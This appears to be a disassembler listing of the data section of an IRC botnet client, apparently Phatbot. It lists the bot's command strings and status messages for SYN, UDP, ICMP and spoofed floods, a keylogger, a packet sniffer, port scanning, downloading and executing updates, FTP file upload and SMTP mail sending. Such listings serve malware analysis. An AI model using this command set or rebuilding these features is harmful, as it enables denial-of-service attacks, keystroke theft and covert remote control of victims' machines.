db 3, 2Dh, 20h
aAliasAddedS_ db 'Alias added: %s.',0
align 4
unk_42A394 db 2Dh ; - ; DATA XREF: sub_401ACD+71D5o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPrivmsgSS_ db 'Privmsg: %s: %s.',0
align 4
unk_42A3B4 db 2Dh ; - ; DATA XREF: sub_401ACD+7180o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aActionSS_ db 'Action: %s: %s.',0
dword_42A3D0 dd 234032Dh, 6E69616Dh, 202D0302h, 6C637943h, 2E65h
; DATA XREF: sub_401ACD+710Eo
dword_42A3E4 dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+70D4o
; sub_401ACD+7C47o
unk_42A3F0 db 2Dh ; - ; DATA XREF: sub_401ACD+70AFo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aModeChangeS db 'Mode change: %s',0
aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+709Eo
align 4
dword_42A418 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h
; DATA XREF: sub_401ACD+7073o
dd 25203A29h, 73h
dword_42A434 dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h
; DATA XREF: sub_401ACD+7004o
dd 203A2973h, 7325h
dword_42A450 dd 45444F4Dh, 732520h ; DATA XREF: sub_401ACD+6FA9o
dword_42A458 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh
; DATA XREF: sub_401ACD+6F79o
dd 203A2973h, 7325h
dword_42A474 dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6F00o
dword_42A480 dd 0A0D7325h, 0 ; DATA XREF: sub_401ACD+6ECEo
; sub_401ACD+6F57o ...
dword_42A488 dd 54524150h, 732520h ; DATA XREF: sub_401ACD+6E95o
dword_42A490 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6E84o
aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0
align 4
dword_42A4CC dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6E15o
aFloodingSForSS db '- Flooding %s for %s seconds.',0
align 4
unk_42A4F8 db 2Dh ; - ; DATA XREF: sub_401ACD+6D85o
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0
align 4
unk_42A534 db 2Dh ; - ; DATA XREF: sub_401ACD+6D1Ao
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0
unk_42A568 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408745o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aRepeatNotAllow db 'Repeat not allowed in command line: %s',0
align 4
dword_42A59C dd 234032Dh, 6E69616Dh, 202D0302h, 65706552h, 203A7461h
; DATA XREF: sub_401ACD+6C3Do
dd 7325h
dword_42A5B4 dd 234032Dh, 6E69616Dh, 202D0302h, 616C6544h, 2E79h
; DATA XREF: sub_401ACD:loc_408673o
dword_42A5C8 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_401ACD+6B62o
; sub_401ACD+6C14o ...
dword_42A5D8 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD:loc_4085D0o
aBotIdMustBeDif db '- Bot ID must be different than current running process.',0
align 10h
dword_42A620 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6AF9o
aFailedToStartD db '- Failed to start download thread, error: <%d>.',0
dword_42A65C dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6A8Ao
aDownloadingUpd db '- Downloading update from: %s.',0
align 4
aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_401ACD+69E2o
align 4
dword_42A694 dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h
; DATA XREF: sub_401ACD+6980o
dd 7325203Ah, 0
unk_42A6B0 db 2Dh ; - ; DATA XREF: sub_401ACD+6975o
db 3, 34h, 2
db 65h ; e
db 78h, 65h, 63h
db 2
db 3, 2Dh, 20h
aCouldnTExecute db 'Couldn',27h,'t execute file.',0
align 4
unk_42A6D4 db 2Dh ; - ; DATA XREF: sub_401ACD+68DBo
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aFailedToStar_1 db 'Failed to start search thread, error: <%d>.',0
unk_42A710 db 2Dh ; - ; DATA XREF: sub_401ACD+6865o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aSearchingForFi db 'Searching for file: %s in: %s.',0
align 10h
dword_42A740 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD:loc_40826Bo
; sub_401ACD:loc_409366o
unk_42A74C db 2Dh ; - ; DATA XREF: sub_401ACD+6789o
db 3, 34h, 2
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
align 10h
unk_42A770 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408234o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0
align 4
unk_42A7A8 db 2Dh ; - ; DATA XREF: sub_401ACD+675Do
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aFailedToStar_2 db 'Failed to start flood thread, error: <%d>.',0
align 10h
unk_42A7E0 db 2Dh ; - ; DATA XREF: sub_401ACD+66EDo
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0
align 4
dword_42A80C dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+666Ao
aFailedToStar_3 db '- Failed to start clone thread, error: <%d>.',0
align 4
dword_42A848 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+65FBo
aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0
align 4
unk_42A878 db 2Dh ; - ; DATA XREF: sub_401ACD+6582o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aFailedToStar_4 db 'Failed to start flood thread, error: <%d>.',0
align 10h
unk_42A8B0 db 2Dh ; - ; DATA XREF: sub_401ACD+6513o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0
align 10h
unk_42A8E0 db 2Dh ; - ; DATA XREF: sub_401ACD+6489o
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aFailedToStar_5 db '- Failed to start flood thread, error: <%d>.',0
align 4
unk_42A918 db 2Dh ; - ; DATA XREF: sub_401ACD+641Ao
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0
align 4
unk_42A948 db 2Dh ; - ; DATA XREF: sub_401ACD+63A1o
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aFailedToStar_6 db 'Failed to start flood thread, error: <%d>.',0
align 10h
unk_42A980 db 2Dh ; - ; DATA XREF: sub_401ACD+6332o
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0
align 4
unk_42A9BC db 2Dh ; - ; DATA XREF: sub_401ACD+62B9o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aFailedToStartT db 'Failed to start transfer thread, error: <%d>.',0
align 4
unk_42A9FC db 2Dh ; - ; DATA XREF: sub_401ACD+624Ao
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloadingUrl db 'Downloading URL: %s to: %s.',0
unk_42AA28 db 2Dh ; - ; DATA XREF: sub_401ACD+617Bo
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0
align 4
unk_42AA6C db 2Dh ; - ; DATA XREF: sub_401ACD+610Co
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42AAA8 db 2Dh ; - ; DATA XREF: sub_401ACD+600Fo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aPortScanStarte db 'Port scan started: %s:%d with delay: %d(ms).',0
align 4
aSSS_1 db '[%s] <%s> %s',0 ; DATA XREF: sub_401ACD+5F63o
align 4
aSSS_2 db '[%s] * %s %s',0 ; DATA XREF: sub_401ACD+5E86o
align 4
dword_42AB04 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401ACD+5DF2o
; sub_401ACD+715Ao
unk_42AB10 db 2Dh ; - ; DATA XREF: sub_401ACD+5D8Eo
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStar_7 db 'Failed to start scan thread, error: <%d>.',0
align 4
unk_42AB4C db 2Dh ; - ; DATA XREF: sub_401ACD+5D1Fo
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aPortScanStar_0 db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
align 4
unk_42AB9C db 2Dh ; - ; DATA XREF: sub_401ACD+5C88o
; sub_401ACD+607Eo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStar_8 db 'Failed to start scan thread, error: <%d>.',0
align 4
unk_42ABD4 db 2Dh ; - ; DATA XREF: sub_401ACD+5C19o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aSPortScanStart db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
db 'inutes using %d threads.',0
align 4
unk_42AC3C db 2Dh ; - ; DATA XREF: sub_401ACD+5AA3o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStar_9 db 'Failed to start scan, no IP specified.',0
align 10h
unk_42AC70 db 2Dh ; - ; DATA XREF: sub_401ACD+5A46o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToSta_10 db 'Failed to start scan, port is invalid.',0
align 4
unk_42ACA4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4073F3o
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aUploadingFileS db '- Uploading file: %s to: %s failed.',0
align 4
unk_42ACD4 db 2Dh ; - ; DATA XREF: sub_401ACD+591Fo
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aUploadingFil_0 db '- Uploading file: %s to: %s',0
align 4
aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401ACD+5906o
aSS_2 db '-s:%s',0 ; DATA XREF: sub_401ACD+58EFo
align 4
aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401ACD+58CCo
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db 'put %s',0Dh,0Ah
db 'bye',0Dh,0Ah,0
align 10h
aAb db 'ab',0 ; DATA XREF: sub_401ACD+58A8o
; ___:00411C61o
align 4
aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401ACD+5897o
align 4
unk_42AD44 db 2Dh ; - ; DATA XREF: sub_401ACD+584Do
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aFileNotFoundS_ db '- File not found: %s.',0
align 4
aUpload db 'upload',0 ; DATA XREF: sub_401ACD+582Ao
align 4
unk_42AD6C db 2Dh ; - ; DATA XREF: sub_401ACD+57F4o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aAlreadyDScanni db 'Already %d scanning threads. Too many specified.',0
align 4
unk_42ADAC db 2Dh ; - ; DATA XREF: sub_401ACD+5797o
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aFailedToSta_11 db '- Failed to start flood thread, error: <%d>.',0
align 4
unk_42ADE4 db 2Dh ; - ; DATA XREF: sub_401ACD+572Co
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
align 4
unk_42AE2C db 2Dh ; - ; DATA XREF: sub_401ACD+567Bo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aMessageHasBeen db '- Message has been sent successfuly',0
align 10h
unk_42AE60 db 2Dh ; - ; DATA XREF: sub_401ACD+5647o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aFailedToSendMe db '- Failed to send message, error <%i>.',0
align 4
unk_42AE94 db 2Dh ; - ; DATA XREF: sub_401ACD+5623o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aNetsendDoesNot db '- NetSend does not work on Win9x systems',0
align 4
unk_42AECC db 2Dh ; - ; DATA XREF: sub_401ACD+5581o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aSendingMessage db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5564o
align 10h
unk_42AF20 db 2Dh ; - ; DATA XREF: sub_401ACD+554Fo
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aFailedToSta_12 db 'Failed to start flood thread, error: <%d>.',0
align 4
unk_42AF58 db 2Dh ; - ; DATA XREF: sub_401ACD+54E0o
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
align 10h
unk_42AFA0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406EFFo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0
align 4
unk_42AFD8 db 2Dh ; - ; DATA XREF: sub_401ACD+5428o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aFailedToSta_13 db '- Failed to start flood thread, error: <%d>.',0
align 10h
unk_42B010 db 2Dh ; - ; DATA XREF: sub_401ACD+53AEo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0
align 4
aNormal db 'Normal',0 ; DATA XREF: sub_401ACD+539Eo
align 4
aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401ACD+5397o
unk_42B054 db 2Dh ; - ; DATA XREF: sub_401ACD+52FCo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidFloodTy db '- Invalid flood type specified.',0
align 10h
aRandom_0 db 'random',0 ; DATA XREF: sub_401ACD+52ECo
align 4
aAck db 'ack',0 ; DATA XREF: sub_401ACD+52D5o
aHcon db 'hcon',0 ; DATA XREF: sub_401ACD+525Fo
align 4
aHttpcon db 'httpcon',0 ; DATA XREF: sub_401ACD+524Co
unk_42B09C db 2Dh ; - ; DATA XREF: sub_401ACD+51FDo
db 3, 34h, 2
db 65h ; e
db 6Dh, 61h, 69h
db 6Ch ; l
db 2, 3, 2Dh
aMessageSentToS db ' Message sent to %s.',0
align 10h
aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401ACD+5189o
db 'mail from: <%s>',0Ah
db 'rcpt to: <%s>',0Ah
db 'data',0Ah
db 'subject: %s',0Ah
db 'from: %s',0Ah
db '%s',0Ah
db '.',0Ah,0
aEmail db 'email',0 ; DATA XREF: sub_401ACD+509Eo
align 4
aTcp db 'tcp',0 ; DATA XREF: sub_401ACD+5087o
aTcpflood db 'tcpflood',0 ; DATA XREF: sub_401ACD+5070o
align 4
aP: ; DATA XREF: sub_401ACD+5059o
; ___:004382D0o ...
unicode 0, <p>,0
aPing_0 db 'ping',0 ; DATA XREF: sub_401ACD+5042o
align 10h
aPingflood db 'pingflood',0 ; DATA XREF: sub_401ACD+502Bo
align 4
aNs db 'ns',0 ; DATA XREF: sub_401ACD+5014o
align 10h
aNetsend db 'netsend',0 ; DATA XREF: sub_401ACD+4FFDo
aU: ; DATA XREF: sub_401ACD+4FE6o
; ___:004382C8o ...
unicode 0, <u>,0
aUdp db 'udp',0 ; DATA XREF: sub_401ACD+4FCFo
aUdpflood db 'udpflood',0 ; DATA XREF: sub_401ACD+4FB8o
align 4
aAdvscan db 'advscan',0 ; DATA XREF: sub_401ACD+4F8Ao
aPsc db 'psc',0 ; DATA XREF: sub_401ACD+4F73o
aPortscan db 'portscan',0 ; DATA XREF: sub_401ACD+4F5Co
align 4
aC_a db 'c_a',0 ; DATA XREF: sub_401ACD+4F36o
aC_action db 'c_action',0 ; DATA XREF: sub_401ACD+4F1Fo
align 4
aC_pm db 'c_pm',0 ; DATA XREF: sub_401ACD+4F08o
align 4
aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401ACD+4EF1o
align 4
aSc db 'sc',0 ; DATA XREF: sub_401ACD+4EDAo
align 4
aScan db 'scan',0 ; DATA XREF: sub_401ACD+4EC3o
align 4
aRd db 'rd',0 ; DATA XREF: sub_401ACD+4EACo
align 4
aRedirect db 'redirect',0 ; DATA XREF: sub_401ACD+4E95o
align 4
aJpl10 db 'jpl10',0 ; DATA XREF: sub_401ACD+4E7Eo
align 4
aJpldg10 db 'jpldg10',0 ; DATA XREF: sub_401ACD+4E67o
aWonk db 'wonk',0 ; DATA XREF: sub_401ACD+4E50o
align 4
aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401ACD+4E39o
align 4
dword_42B1D8 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4E2Co
aFailedToSta_14 db '- Failed to start flood thread, error: <%d>.',0
align 4
dword_42B214 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4DBDo
aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn db 'skysyn',0 ; DATA XREF: sub_401ACD+4D3Ao
align 4
aSyn db 'syn',0 ; DATA XREF: sub_401ACD+4D23o
; sub_401ACD+52BDo
aSynflood db 'synflood',0 ; DATA XREF: sub_401ACD+4D0Co
align 4
unk_42B25C db 2Dh ; - ; DATA XREF: sub_401ACD+4CFFo
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aFailedToSta_15 db '- Failed to start flood thread, error: <%d>.',0
align 4
aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_401ACD+4C28o
align 4
aDdos_random db 'ddos.random',0 ; DATA XREF: sub_401ACD+4C11o
; sub_412B08:loc_412C34o
aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_401ACD+4BFAo
; sub_412B08:loc_412C18o
align 10h
aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_401ACD+4BE3o
; sub_412B08+F1o
align 4
aC: ; DATA XREF: sub_401ACD+4BCCo
; ___:00438300o ...
unicode 0, <c>,0
aClone_0 db 'clone',0 ; DATA XREF: sub_401ACD+4BB5o
align 4
aIcmp db 'icmp',0 ; DATA XREF: sub_401ACD+4B8Co
align 10h
aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401ACD+4B75o
align 4
aMv db 'mv',0 ; DATA XREF: sub_401ACD+4B5Eo
align 10h
aRename db 'rename',0 ; DATA XREF: sub_401ACD+4B47o
align 4
aFf db 'ff',0 ; DATA XREF: sub_401ACD+4B30o
align 4
aFindfile db 'findfile',0 ; DATA XREF: sub_401ACD+4B19o
align 4
aE: ; DATA XREF: sub_401ACD+4B02o
; ___:004382B8o ...
unicode 0, <e>,0
aExecute db 'execute',0 ; DATA XREF: sub_401ACD+4AEBo
aJp10 db 'jp]10',0 ; DATA XREF: sub_401ACD+4AD4o
align 4
aJpDe100 db 'jp]de100',0 ; DATA XREF: sub_401ACD+4ABDo
align 4
aDe db 'de',0 ; DATA XREF: sub_401ACD+4AA6o
align 4
aDelay db 'delay',0 ; DATA XREF: sub_401ACD+4A8Fo
align 4
aRp db 'rp',0 ; DATA XREF: sub_401ACD+4A78o
align 4
aRepeat db 'repeat',0 ; DATA XREF: sub_401ACD+4A61o
; sub_401ACD+6BE7o
align 10h
aTsn db 'tsn',0 ; DATA XREF: sub_401ACD+4A4Ao
aTsunami db 'tsunami',0 ; DATA XREF: sub_401ACD+4A33o
aT3 db 't3',0 ; DATA XREF: sub_401ACD+4A1Co
align 10h
aTarga3 db 'targa3',0 ; DATA XREF: sub_401ACD+4A05o
align 4
aC_p db 'c_p',0 ; DATA XREF: sub_401ACD+49EEo
aC_part db 'c_part',0 ; DATA XREF: sub_401ACD+49D7o
align 4
aC_j db 'c_j',0 ; DATA XREF: sub_401ACD+49C0o
aC_join db 'c_join',0 ; DATA XREF: sub_401ACD+49A9o
align 10h
aC_n db 'c_n',0 ; DATA XREF: sub_401ACD+4992o
aC_nick db 'c_nick',0 ; DATA XREF: sub_401ACD+497Bo
align 4
aC_m db 'c_m',0 ; DATA XREF: sub_401ACD+4964o
aC_mode db 'c_mode',0 ; DATA XREF: sub_401ACD+494Do
align 4
aC_r db 'c_r',0 ; DATA XREF: sub_401ACD+4936o
aC_raw db 'c_raw',0 ; DATA XREF: sub_401ACD+491Fo
align 4
aM: ; DATA XREF: sub_401ACD+4908o
; ___:00438310o ...
unicode 0, <m>,0
aCy db 'cy',0 ; DATA XREF: sub_401ACD+48DAo
align 4
aCycle db 'cycle',0 ; DATA XREF: sub_401ACD+48C3o
align 4
aA: ; DATA XREF: sub_401ACD+48ACo
; ___:004382D4o
unicode 0, <a>,0
aAction db 'action',0 ; DATA XREF: sub_401ACD+4895o
align 10h
aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_401ACD+4867o
aAa db 'aa',0 ; DATA XREF: sub_401ACD+4850o
align 4
aAddalias db 'addalias',0 ; DATA XREF: sub_401ACD+4839o
align 4
aKl db 'kl',0 ; DATA XREF: sub_401ACD+4822o
align 4
aKilllog db 'killlog',0 ; DATA XREF: sub_401ACD+480Bo
aGh db 'gh',0 ; DATA XREF: sub_401ACD+47E2o
align 4
aGethost db 'gethost',0 ; DATA XREF: sub_401ACD+47CDo
aCap db 'cap',0 ; DATA XREF: sub_401ACD+47B8o
aCapture db 'capture',0 ; DATA XREF: sub_401ACD+47A3o
unk_42B3EC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406265o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aCommandUnknown db '- Command unknown.',0
unk_42B408 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40625Bo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aNoMessageSpeci db '- No message specified.',0
align 4
aSend db 'send',0 ; DATA XREF: sub_401ACD+475Eo
; sub_409B12+5F0o
align 4
unk_42B434 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40621Eo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListFailed db '- User list failed.',0
align 4
unk_42B454 db 2Dh ; - ; DATA XREF: sub_401ACD+4747o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListComple db '- User list completed.',0
unk_42B474 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406193o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListFaile db '- Share list failed.',0
align 4
unk_42B494 db 2Dh ; - ; DATA XREF: sub_401ACD+46BCo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListCompl db '- Share list completed.',0
align 4
aShare db 'share',0 ; DATA XREF: sub_401ACD+466Eo
align 10h
aContinue db 'continue',0 ; DATA XREF: sub_401ACD+462Ao
align 4
aPause db 'pause',0 ; DATA XREF: sub_401ACD+4610o
align 4
aStop db 'stop',0 ; DATA XREF: sub_401ACD+45F6o
align 4
unk_42B4DC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4060B6o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aServiceListFai db '- Service list failed.',0
unk_42B4FC db 2Dh ; - ; DATA XREF: sub_401ACD+45DFo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aServiceListCom db '- Service list completed.',0
align 10h
aStart db 'start',0 ; DATA XREF: sub_401ACD+45A9o
align 4
unk_42B528 db 2Dh ; - ; DATA XREF: sub_401ACD+4577o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet db 'net',0 ; DATA XREF: sub_401ACD+4553o
dword_42B564 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4548o
aFailedToStartL db '- Failed to start logging thread, error: <%d>.',0
align 10h
dword_42B5A0 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+44D9o
aKeyLoggerActiv db '- Key logger active.',0
align 4
dword_42B5C4 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4457o
aAlreadyRunning db '- Already running.',0
align 4
dword_42B5E4 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD:loc_405F0Eo
aNoKeyLoggerThr db '- No key logger thread found.',0
align 10h
dword_42B610 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4437o
aKeyLoggerStopp db '- Key logger stopped. (%d thread(s) stopped.)',0
align 4
aFile db 'file',0 ; DATA XREF: sub_401ACD+43F8o
align 4
aKeylog db 'keylog',0 ; DATA XREF: sub_401ACD+43D6o
align 4
dword_42B65C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD:loc_405E98o
aNoThreadFound_ db '- No thread found.',0
align 4
dword_42B67C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43C1o
aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0
align 4
dword_42B6B4 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4391o
aFailedToSta_16 db '- Failed to start server, error: <%d>.',0
align 4
dword_42B6E8 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4344o
aServerRunnin_0 db '- Server running on Port: 113.',0
align 4
dword_42B714 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4334o
aAlreadyRunni_0 db '- Already running.',0
align 4
aIdent db 'ident',0 ; DATA XREF: sub_401ACD+4301o
align 4
unk_42B73C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405DC3o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aNoPhatbotSniff db '- No Phatbot sniffer thread found.',0
unk_42B76C db 2Dh ; - ; DATA XREF: sub_401ACD+42ECo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aPhatbotSniffer db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_42B7AC db 2Dh ; - ; DATA XREF: sub_401ACD+42BCo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aFailedToSta_17 db '- Failed to start sniffer thread, error: <%d>.',0
unk_42B7E8 db 2Dh ; - ; DATA XREF: sub_401ACD+424Do
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aPhatbotPacketS db '- Phatbot packet sniffer active.',0
align 4
unk_42B818 db 2Dh ; - ; DATA XREF: sub_401ACD+41E6o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aAlreadyRunni_1 db '- Already running.',0
aSniffer db 'sniffer',0 ; DATA XREF: sub_401ACD+41AFo
dword_42B840 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD:loc_405C71o
